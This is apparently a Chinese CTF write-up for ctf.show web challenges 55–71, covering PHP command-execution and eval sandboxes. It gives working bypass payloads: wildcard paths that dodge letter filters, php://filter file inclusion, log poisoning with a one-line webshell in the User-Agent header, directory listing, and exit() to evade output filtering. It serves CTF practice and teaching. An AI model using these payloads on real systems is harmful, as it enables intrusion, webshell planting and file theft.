Web55
<?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 20:03:51 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
由于过滤了字母,但没有过滤数字,我们尝试使用/bin目录下的可执行程序。
但因为字母不能传入,我们需要使用通配符?来进行代替
?c=/bin/base64 flag.php
替换后变成
?c=/???/????64 ????.???
极限命令执行1
所有环境均为centos7 根目录getflag文件
<?php //本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。 //flag在根目录flag里,或者直接运行根目录getflag error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){ system($ctfshow); }else{ echo("????????"); } } ?>
没有过滤a和 / ?
根据centos7的特性可以直接执行文件
/getflag
payload = /?????a?
Web60
<?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
本关包含了多个方法以及思路进行绕过
-
文件包含绕过:首先使用c=include($_GET[1]); 然后拼接get参数11=php://filter/convert.base64-encode/resource=flag.php
-
日志拿shell:先修改ua头,一句话木马,发送到写入到日志中后,再按照包含思路进行操作,最后使用木马参数
-
第一步发送ua:<php 一句话 发送
-
第二步同时发送post个get
-
POST:c=include($_GET[1]);&g=echo 'aaa';
-
GET:https://78126168-2e87-4bb9-bedd-68d71cbc6915.challenge.ctf.show/?1=/var/log/nginx/access.log
-
-
使用高亮显示函数:在日志拿shel的基础上直接使用highlight_file(flag.php) (因为system被禁用)
-
官方操作:show_source('flag.php') 通杀
Web61
<?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
show_source('flag.php')
当我们知道了flag.php文件的flag变量名字后也可以使用骚操作:
c=include('flag.php');echo $flag;
Web62
<?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
同61一样
Web63
骚操作+1 如果不知道命名的情况下
c=include('flag.php');var_dump(get_defined_vars());
Web64
同上
目前已知方法:
-
文件包含
-
伪协议
-
高亮显示,源码读取
-
输出查看变量
-
日志包含
Web65
c=highlight_file('flag.php');
Web66
flag.php没有flag,真正flag在根目录。你问我怎么知道的?当然是一点点找的
var_dump(scandir('/')); array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" }
c=highlight_file('/flag.txt'); ctfshow{9c835405-b6cc-49d5-be3f-bb02b8255741}
Web67
<?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
使用var_dump(scandir("/"));来显示文件夹下的内容
然后使用highlight_file来高亮显示flag
Web68
扫目录,找flag
c=include('/flag.txt'); 没有php标签默认html输出
Web69
var_export(scandir("/"));
c=include('/flag.txt');
Web70
var_export(scandir("/"));
c=include('/flag.txt');
Web71
附件下载,拿到源码
<?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); //得到缓冲区内容 ob_end_clean(); //将缓冲区清空 echo preg_replace("/[0-9]|[a-z]/i","?",$s); //将输出内容进行替换 }else{ highlight_file(__FILE__); } ?> 你要上天吗?
思路:直接不执行后面的代码,exit();
c=var_export(scandir("/"));exit();
c=include('/flag.txt');exit();